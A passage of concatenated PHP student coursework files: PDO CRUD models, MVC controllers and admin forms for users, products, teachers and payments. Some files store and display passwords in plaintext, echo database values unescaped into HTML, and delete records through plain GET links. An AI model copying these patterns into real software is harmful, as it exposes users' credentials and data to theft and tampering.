VALUES (:nombre,:descripcion,:fecha)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":descripcion", $datosModel["descripcion"], PDO::PARAM_STR); $stmt->bindParam(":fecha", $datosModel["fecha"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #INGRESO DE SESION #------------------------------------- public function iniciarSesionModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT username, password FROM $tabla WHERE username = :username"); $stmt->bindParam(":username", $datosModel["username"], PDO::PARAM_STR); $stmt->execute(); #fetch(): Obtiene una fila de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetch(); $stmt->close(); } #VISTA USUARIOS #------------------------------------- public function vistaUsuariosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_usuario, nombre, apellido, username, password, email, fecha FROM $tabla"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #VISTA DE MOVIMIENTOS #------------------------------------ public function vistaMovimientosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_historial, id_producto, user_id, fecha, nota, referencia, cantidad FROM $tabla"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #VISTA PRODUCTOS #------------------------------------- public function vistaProductosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_producto, codigo_producto, nombre, fecha, preciounitario, stock, id_categoria FROM $tabla"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #VISTA CATEGORIAS #------------------------------------- public function vistaCategoriasModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_categoria, nombre, descripcion, fecha FROM $tabla"); $stmt->execute(); #fetchAll(): Obtiene todas las filas de un conjunto de resultados asociado al objeto PDOStatement. return $stmt->fetchAll(); $stmt->close(); } #TOTAL USUARIOS #------------------------------------- public function totalUsuariosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #TOTAL PRODUCTOS #------------------------------------- public function totalProductosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #TOTAL CATEGORIAS #------------------------------------- public function totalCategoriasModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #TOTAL MOVIMIENTOS #------------------------------------- public function totalMovimientosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT * FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #EDITAR USUARIO #------------------------------------- public function editarUsuarioModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_usuario, nombre, apellido, username, password, email, fecha FROM $tabla WHERE id_usuario = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_STR); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } #EDITAR PRODUCTO #------------------------------------- public function editarProductoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_producto, codigo_producto, nombre, fecha, preciounitario, stock, id_categoria FROM $tabla WHERE id_producto = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_STR); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } #EDITAR CATEGORIA #------------------------------------- public function editarCategoriaModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_categoria, nombre, descripcion, fecha FROM $tabla WHERE id_categoria = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_STR); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } #ACTUALIZAR USUARIO #------------------------------------- public function actualizarUsuarioModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET nombre = :nombre, username = :username, password = <PASSWORD> WHERE id_usuario = :id"); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":username", $datosModel["username"], PDO::PARAM_STR); $stmt->bindParam(":password", $datosModel["password"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_usuario"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #ACTUALIZAR PRODUCTO #------------------------------------- public function actualizarProductoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET codigo_producto = :codigo_producto, nombre = :nombre, fecha = :fecha, preciounitario = :preciounitario, stock = :stock, id_categoria = :id_categoria WHERE id_producto = :id"); $stmt->bindParam(":codigo_producto", $datosModel["codigo_producto"], PDO::PARAM_STR); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":fecha", $datosModel["fecha"], PDO::PARAM_STR); $stmt->bindParam(":preciounitario", $datosModel["preciounitario"], PDO::PARAM_STR); $stmt->bindParam(":stock", $datosModel["stock"], PDO::PARAM_STR); $stmt->bindParam(":id_categoria", $datosModel["categoria"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_producto"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #ACTUALIZAR LA ADICION DE STOCK #------------------------------------ public function actualizaradicionStockProductoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET stock = :stock + :cantidad WHERE id_producto = :id"); $stmt->bindParam(":stock", $datosModel["stock"], PDO::PARAM_STR); $stmt->bindParam(":cantidad", $datosModel["cantidad"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_producto"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #ACTUALIZAR REDUCCION DE STOCK #------------------------------------ public function actualizarretiroStockProductoModel($datosModel, $tabla){ if ($datosModel["cantidad"] > $datosModel["stock"]) { echo '<script type="text/javascript"> alert("La cantidad ingresada es mayor al stock disponible"); </script>'; }else{ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET stock = :stock - :cantidad WHERE id_producto = :id"); $stmt->bindParam(":stock", $datosModel["stock"], PDO::PARAM_STR); $stmt->bindParam(":cantidad", $datosModel["cantidad"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_producto"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } } #ACTUALIZAR CATEGORIA #------------------------------------- public function actualizarCategoriaModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET nombre = :nombre, descripcion = :descripcion, fecha = :fecha WHERE id_categoria = :id"); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":descripcion", $datosModel["descripcion"], PDO::PARAM_STR); $stmt->bindParam(":fecha", $datosModel["fecha"], PDO::PARAM_STR); $stmt->bindParam(":id", $datosModel["id_producto"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR USUARIO #------------------------------------ public function borrarUsuarioModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_usuario = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR PRODUCTO #------------------------------------ public function borrarProductoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_producto = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR CATEGORIA #------------------------------------ public function borrarCategoriaModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_categoria = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR MOVIMIENTO #------------------------------------ public function borrarMovimientoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE id_historial = :id"); $stmt->bindParam(":id", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #OBTENER LAS CATEGORIAS #------------------------------------ public function seleccionarCategoriasModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_categoria,nombre FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #OBTENER LOS USUARIOS #------------------------------------ public function seleccionarUsuariosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id_usuario,nombre FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } } /* #REGISTRO DE PRODUCTOS #------------------------------------- public function registroProductosModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda a prevenir inyecciones SQL eliminando la necesidad de entrecomillar manualmente los parámetros. $stmt1 = Conexion::conectar()->prepare("INSERT INTO $tabla (nombreProd, descProduc, BuyPrice, SalePrice, Proce) VALUES (:nombreProd,:descProduc,:BuyPrice,:SalePrice,:Proce)"); #bindParam() Vincula una variable de PHP a un parámetro de sustitución con nombre o de signo de interrogación correspondiente de la sentencia SQL que fue usada para preparar la sentencia. $stmt1->bindParam(":nombreProd", $datosModel["nombreProd"], PDO::PARAM_STR); $stmt1->bindParam(":descProduc", $datosModel["descProduc"], PDO::PARAM_STR); $stmt1->bindParam(":BuyPrice", $datosModel["BuyPrice"], PDO::PARAM_STR); $stmt1->bindParam(":SalePrice", $datosModel["SalePrice"], PDO::PARAM_STR); $stmt1->bindParam(":Proce", $datosModel["Proce"], PDO::PARAM_STR); if($stmt1->execute()){ return "success"; } else{ return "error"; } $stmt1->close(); }*/ ?><file_sep>/05_final/modificar.php <?php //El archivo database_utilities es requerido debido a que contiene las funciones para el manejo de los registros en el listado require_once('database_utilities.php'); //Se realiza la obtencion de los datos a partir del id del usuario a modificar $id = isset( $_GET['id'] ) ? $_GET['id'] : ''; $resultados = busqueda_id($id); //Cuando se presione el boton de guardar, entonces se guardaran los cambios, es decir que asignara los datos para guardarlos en variables y //estas sean los parametros para la funcion de modificar if(isset($_POST["guardar"])) { if(isset($_POST["email"])) { $correo = $_POST["email"]; } if(isset($_POST["password"])) { $password = $_POST["password"]; } //Se llama el metodo modificar para actualizar los datos modificar($id,$correo,$password); //Direcciona al index.php o inicio del listado header("location: index.php"); } ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <br><br> <h3>Formulario de Estudiante</h3> <br><br> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <form method="POST"> <label>Correo Electronico: </label> <input type="email" name="email" value="<?php echo $resultados['correo']?>"> <br> <label>Password: </label> <input type="text" name="password" value='<?php echo $resultados['password']?>'> <br> <input type="submit" name="guardar" value="GUARDAR" class="button" onClick=mensaje();> </form> </div> </section> </div> </div> <?php require_once('footer.php'); ?> <script type="text/javascript"> //Funcion que envia un mensaje de que el registro se actualizo function mensaje() { alert("Registro actualizado"); } </script><file_sep>/Tarea2/index-form.php <!DOCTYPE html> <html> <head> <title>TAREA 2</title> </head> <body> <?php include "form-poo.php"; $form = new Formulario(); ?> <h2>PHP Form Validation Example</h2> <p><span class="error">* Required field.</span></p> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> Name: <input type="text" name="name" value=""> <span class="error">*</span> <br><br> E-mail: <input type="text" name="email" value=""> <span class="error">*</span> <br><br> Website: <input type="text" name="website" value=""> <span class="error"></span> <br><br> Comment: <textarea name="comment" rows="5" cols="40"></textarea> <br><br> Gender: <input type="radio" name="gender" value="Female">Female <input type="radio" name="gender" value="Male">Male <span class="error">*</span> <br><br> <input type="submit" name="submit" value="Submit"> </form> <?php if(isset($_POST['submit'])): $name = $_POST['name']; $email = $_POST['email']; $gender = $_POST['gender']; $comment = $_POST['comment']; $website = $_POST['website']; $form->datos($name,$email,$gender,$comment,$website); echo "<h2>Your Input:</h2>"; $form->imprimir(); endif; ?> <ul> <li><a href="#">Volver al Inicio</a></li> </ul> </body> </html><file_sep>/Envios/views/modules/registrarPago2.php <nav class="main-header navbar navbar-expand navbar-dark border-bottom" style="background-color: #954E9E"> <!-- Left navbar links --> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" data-widget="pushmenu" href="#"><i class="fa fa-bars"></i></a> </li> <li class="nav-item d-none d-sm-inline-block"> <a href="index.php?action=dashboard" class="nav-link">Inicio</a> </li> </ul> <!-- SEARCH FORM --> <form class="form-inline ml-3"> <div class="input-group input-group-sm"> <input class="form-control form-control-navbar" type="search" placeholder="Buscar" aria-label="Search"> <div class="input-group-append"> <button class="btn btn-navbar" type="submit"> <i class="fa fa-search"></i> </button> </div> </div> </form> <ul class="navbar-nav ml-auto"> <li class="nav-item"> <a class="nav-link" href="index.php?action=help"><i class="fa fa-question-circle"></i></a> </li> </ul> </nav> <!-- /.navbar --> <!-- Main Sidebar Container --> <aside class="main-sidebar sidebar-dark-primary elevation-4"> <!-- Brand Logo --> <a href="index.php?action=dashboard" class="brand-link" style="background-color: #954E9E"> <img src="views/dist/img/he.jpeg" alt="AdminLTE Logo" class="brand-image img-circle elevation-6" style="opacity: .8"> <center><span class="brand-text font-weight-light">Bienvenidos a Danzlife</span></center> </a> <!-- Sidebar --> <div class="sidebar"> <!-- Sidebar user panel (optional) --> <div class="user-panel mt-1 pb-3 mb-3"><br> <img src="views/dist/img/he2.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-6" style="opacity: .8"> <div class="info" > <a href="" class="d-block">Sistema de Pagos</a> <!--<a href="" class="d-block">ID USER: '.$_SESSION["id_usuario"].'</a> <a href="" class="d-block">USERNAME: '.$_SESSION["username"].'</a>--> </div> </div> <!-- Sidebar Menu --> <nav class="mt-2"> <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false"> <!-- Add icons to the links using the .nav-icon class with font-awesome or any other icon font library --> <li class="nav-item"> <a href="index.php" class="nav-link"> <i class="nav-icon fa fa-credit-card"></i> <p> Pagos </p> </a> </li> <li class="nav-item"> <a href="index.php?action=registrarPago2" class="nav-link"> <i class="nav-icon fa fa-plus-circle"></i> <p> Nuevo Pago </p> </a> </li> </ul> </nav> <!-- /.sidebar-menu --> </div> <!-- /.sidebar --> </aside> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pagos | Registrar Pagos</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Formulario para la insercion de Alumnos --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1>Registrar Pago</h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="index.php?action=dashboard">Home</a></li> <li class="breadcrumb-item active">Registrar Pago</li> </ol> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <!-- left column --> <div class="col-md-12"> <!-- general form elements --> <div class="card card-info"> <div class="card-header" style="background-color: #954E9E"> <div class="float-right"> <a href="index.php?action=pagos"><input class="btn btn-block btn-outline-warning" value="Listado de Pagos"></a> </div> <h3 class="card-title">Información General</h3> </div> <!-- /.card-header --> <!-- Formulario de registro de usuario --> <form method="post" enctype="multipart/form-data"> <div class="card-body"> <div class="row"> <div class="col-md-6"> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Grupo</label> <select class="form-control select2" type="number" name="IdGrupo" id="grupo" style="width: 100%; " onchange="act();"> <?php $grupos = new MvcController(); $grupos -> seleccionarGruposController(); ?> </select> </div> <!--<input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar Alumnas">--> <div class="form-group"> <label for="exampleInputPassword1">Alumna</label> <select class="form-control select2" type="number" name="alumna" id="alumna" style="width: 100%;"> <?php $Calumnas = new MvcController(); $alumnas = $Calumnas -> verAlumnasController(); ?> </select> </div> <div class="form-group"> <label for="exampleInputEmail1">Nombre de la Mama</label> <input type="text" class="form-control" name="nombre" placeholder="Nombre"> </div> <div class="form-group"> <label for="exampleInputEmail1">Apellido de la Mama</label> <input type="text" class="form-control" name="apellido" placeholder="Apellido"> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Fecha</label> <input type="date" class="form-control" name="fecha" placeholder="Fecha"> </div> <div class="form-group"> <label for="exampleInputFile">Imagen</label> <div class="input-group"> <div class="custom-file"> <input type="file" class="custom-file-input" id="exampleInputFile" name="fileToUpload" id="fileToUpload"> <label class="custom-file-label" for="exampleInputFile">Escoger archivo</label> </div> </div> </div> <div class="form-group"> <label for="exampleInputEmail1">Folio</label> <input type="number" class="form-control" name="folio" min="1" placeholder="Folio"> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="enviar" value="Añadir"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div> </form> <input type="hidden" name="alu" id="alu" value="<?php echo $alumnas ?>"> </div> <!-- /.card --> </div> </div> </div> </section> </div> </div> </body> </html> <script type="text/javascript"> var alumnasA = document.getElementById("alu").value+""; function act(){ $('#alumna').empty().trigger("change"); var g = document.getElementById("grupo").value+""; var v1 = alumnasA.split("$"); for (var i = 0; i < v1.length-1; i++) { var f = v1[i].split(","); if(f[2]===g){ document.getElementById("alumna").options[document.getElementById("alumna").options.length] = new Option(f[1], f[0]); } } } </script> <!--<form method="post"> <label>Nombre: </label> <input type="text" placeholder="Nombre" name="nombre" required> <label>Username: </label> <input type="text" placeholder="Username" name="username" required> <label>Contraseña: </label> <input type="text" placeholder="<PASSWORD>" name="password" required> <input type="submit" class="button radius tiny" name="enviar" style="background-color: #360956; left: -1px; width: 400px;" value="Enviar"> </form>--> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroUsuarioController de la clase MvcController: $registro -> registroPago2Controller(); if(isset($_GET["action"])){ if($_GET["action"] == "UsuarioRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/Calificar/2/Practica06/index2.php <?php //Se referencia al archivo de conexion de la base de datos include_once('Config2.php'); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 6</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header2.php'); ?> <div class="row"> <div class="large-9 columns"> <h1>Tarea No. 2</h1><br> <div class="large-9 columns"> </div> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <h5><strong>FUTBOLISTAS REGISTRADOS:</strong></h5> <table> <thead> <tr> <th width="200">Id</th> <th width="250">Dorsal</th> <th width="700">Nombre</th> <th width="250">Carrera</th> <th width="250">Email</th> <th width="250">Posicion</th> <th width="250">Detalles</th> <th width="250">Delete</th> </tr> </thead> <tbody> <?php //Consulta de la base de datos de los campos que se desean mostrar //Incluyen los case para los diferentes casos que se desean validar $datos = $conexion->query("SELECT Id, Dorsal, Nombre, Carrera, Email, Posicion FROM Futbolistas"); //Ciclo que recorre las filas e imprime los datos que existen encada una de ellas foreach($datos as $fila){ echo "<tr><td>".$fila['Id']."</td>"; echo "<td>".$fila['Dorsal']."</td>"; echo "<td>".$fila['Nombre']."</td>"; echo "<td>".$fila['Carrera']."</td>"; echo "<td>".$fila['Email']."</td>"; echo "<td>".$fila['Posicion']."</td>"; echo '<td><a href = "./modificar_futbolista.php?Id='.$fila['Id'].'" class="button tiny secondary"> Detalles </a></td>'; echo '<td><a href = "./borra_futbolista.php?Id='.$fila['Id'].'" class="button tiny secondary"> Delete </a></td></tr>'; } ?> <ul class="center button-group"> <li><br><a href="./agregar_futbolista.php" class="button">Registrar Nuevo</a></li> </ul> </tbody> </table> </div> </section> </div> </div> <?php require_once('footer.php'); ?><file_sep>/Calificar/1/Practica6/index.php <!-- index que tendra las distintas opciones para ir a las tablas de conteo o los deportistas--> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1" align="center"> <div class="row"> </div> <a href="./count_view.php" class="button radius tiny">Vista de usuarios</a> <a href="./sports_view.php" class="button radius tiny">Deportistas</a> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?> <file_sep>/Practica10/views/modules/productos.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <h1>REGISTRO DE PRODUCTOS by MR</h1> <form method="post"> <input type="text" placeholder="Nombre Producto" name="productName" required> <input type="text" placeholder="Descripcion" name="ProductDesription" required> <input type="text" placeholder="Precio Compra" name="ProductBuyPrice" required> <input type="text" placeholder="Precio Venta" name="ProductSalePrice" required> <input type="text" placeholder="Precio" name="ProductPrice" required> <input type="submit" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcControllerProductos(); //se invoca la función registroProductosController de la clase MvcController: $registro -> registroProductosController(); if(isset($_GET["action"])){ if($_GET["action"] == "Productosok"){ echo "Producto Añadido"; } } ?> <file_sep>/Practica08/views/modules/registrarmaestros.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <!-- Formulario para el registro de maestros --> <h4>REGISTRO DE MAESTROS</h4> <hr><br> <input type="button" style="left: -200px;" class="button radius tiny" value="Listado Maestros" onclick="window.location= 'index.php?action=maestros' "> <br> <strong><h4>Información General</h4></strong> <br> <form method="post"> <label>No. Empleado: </label> <input type="text" placeholder="No. Empleado" name="nempleado" required> <label>Nombre: </label> <input type="text" placeholder="Nombre" name="nombre" required> <label>Carrera: </label> <select name="carrera"> <?php $carreras = new MvcController(); $carreras -> ObtenerCarrerasController(); ?> </select> <label>Email: </label> <input type="text" placeholder="Email" name="email" required> <label>Contraseña</label> <input type="text" placeholder="<PASSWORD>" name="password" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcControllerMaestros $registro = new MvcControllerMaestros(); //se invoca la función registroMaestroController de la clase MvcControllerMaestros: $registro -> registroMaestroController(); if(isset($_GET["action"])){ if($_GET["action"] == "MaestroRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/Calificar/1/Practica6/key.php <?php //El id se pasara por medio de url dependiendo del usuario que elegimos para eliminar y asi poder eliminar el usuario correcto $id = isset( $_GET['id'] ) ? $_GET['id'] : ''; //Se obtendra una variable tipo para saber que tipo de deportista es, y asi poder borrar el deportista de su respectiva tabla $type = isset( $_GET['type'] ) ? $_GET['type'] : ''; //Se requerira el archivo database_utilities.php donde se tendran los distintos metodos de las diferentes sentencias sql require_once('database_utilities.php'); //Borraremos el usuario con el metodo delete que se encuentra en methods.php en base al id que fue pasado por variable delete($type,$id); //Se redirigira automaticamente a las tablas de deportistas header('Location: sports_view.php') ?><file_sep>/MVC/index.php <?php require_once "controllers/controller" ?> <?php //archivo controller.php /** * */ class ClassName extends AnotherClass { public function plantilla(){ include "views/template.php"; } } ?><file_sep>/Practica082/controllers/controllerMaestros.php <?php class MvcControllerMaestros{ #LLAMADA A LA PLANTILLA #------------------------------------- public function pagina(){ include "views/template.php"; } #ENLACES #------------------------------------- public function enlacesPaginasController(){ if(isset( $_GET['action'])){ $enlaces = $_GET['action']; } else{ $enlaces = "index"; } $respuesta = Paginas::enlacesPaginasModel($enlaces); include $respuesta; } #REGISTRO DE ALUMNOS #------------------------------------ public function registroMaestroController(){ if(isset($_POST["nempleado"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "nempleado"=>$_POST["nempleado"], "nombre"=>$_POST["nombre"], "carrera"=>$_POST["carrera"], "email"=>$_POST["email"], "password"=>$_POST["<PASSWORD>"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = DatosMaestros::registroMaestroModel($datosController, "maestros"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=MaestroRegistrado"); } else{ header("location:index.php"); } } } #INGRESO DE MAESTROS #------------------------------------ public function ingresoMaestroController(){ if(isset($_POST["usuarioIngreso"])){ $datosController = array( "email"=>$_POST["usuarioIngreso"], "password"=>$_POST["<PASSWORD>"]); $respuesta = Datos::ingresoMaestroModel($datosController, "maestros"); //Valiación de la respuesta del modelo para ver si es un usuario correcto. if($respuesta["email"] == $_POST["usuarioIngreso"] && $respuesta["password"] == $_POST["<PASSWORD>"]){ session_start(); $_SESSION["validar"] = true; header("location:index.php?action=alumnos"); } else{ header("location:index.php?action=fallo"); } } } #VISTA DE ALUMNOS #------------------------------------ public function vistaMaestrosController(){ $respuesta = DatosMaestros::vistaMaestrosModel("maestros"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["nempleado"].'</td> <td>'.$item["nombre"].'</td> <td>'.$item["carrera"].'</td> <td>'.$item["email"].'</td> <td>'.$item["password"].'</td> <td><a href="index.php?action=editarmaestros&id='.$item["nempleado"].'"><button class="button radius tiny secondary">Editar</button></a></td> <td><a href="index.php?action=maestros&idBorrar='.$item["nempleado"].'"><button class="button radius tiny alert">Borrar</button></a></td> </tr>'; } } public function vistaReportesMaestrosController(){ $respuesta = DatosMaestros::vistaMaestrosModel("maestros"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["nempleado"].'</td> <td>'.$item["nombre"].'</td> <td>'.$item["carrera"].'</td> <td>'.$item["email"].'</td> <td>'.$item["password"].'</td> </tr>'; } } #EDITAR ALUMNO #------------------------------------ public function editarMaestrosController(){ $datosController = $_GET["id"]; $respuesta = DatosMaestros::editarMaestrosModel($datosController, "maestros"); echo'<input type="text" value="'.$respuesta["nempleado"].'" name="empleadoEditar" readonly> <input type="text" value="'.$respuesta["nombre"].'" name="nombreEditar" required> <input type="text" value="'.$respuesta["carrera"].'" name="carreraEditar" required> <input type="text" value="'.$respuesta["email"].'" name="emailEditar" required> <input type="text" value="'.$respuesta["password"].'" name="contraEditar" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Actualizar">'; } #ACTUALIZAR ALUMNO #------------------------------------ public function actualizarMaestrosController(){ if(isset($_POST["empleadoEditar"])){ $datosController = array( "nempleado"=>$_POST["empleadoEditar"], "nombre"=>$_POST["nombreEditar"], "carrera"=>$_POST["carreraEditar"], "email"=>$_POST["emailEditar"], "password"=>$_POST["<PASSWORD>"]); $respuesta = DatosMaestros::actualizarMaestrosModel($datosController, "maestros"); if($respuesta == "success"){ header("location:index.php?action=MaestroEditado"); } else{ echo "error"; } } } #BORRAR ALUMNO #------------------------------------ public function borrarMaestrosController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = DatosMaestros::borrarMaestrosModel($datosController, "maestros"); if($respuesta == "success"){ header("location:index.php?action=maestros"); } } } } //// ?><file_sep>/Envios/models/crud.php <?php #EXTENSIÓN DE CLASES: Los objetos pueden ser extendidos, y pueden heredar propiedades y métodos. Para definir una clase como extensión, debo definir una clase padre, y se utiliza dentro de una clase hija. require_once "conexion.php"; //heredar la clase conexion de conexion.php para poder utilizar "Conexion" del archivo conexion.php. // Se extiende cuando se requiere manipuar una funcion, en este caso se va a manipular la función "conectar" del models/conexion.php: class Datos extends Conexion{ #REGISTRO DE ALUMNAS #------------------------------------- public function registroAlumnasModel($datosModel, $tabla){ #prepare() Prepara una sentencia SQL para ser ejecutada por el método PDOStatement::execute(). La sentencia SQL puede contener cero o más marcadores de parámetros con nombre (:name) o signos de interrogación (?) por los cuales los valores reales serán sustituidos cuando la sentencia sea ejecutada. Ayuda 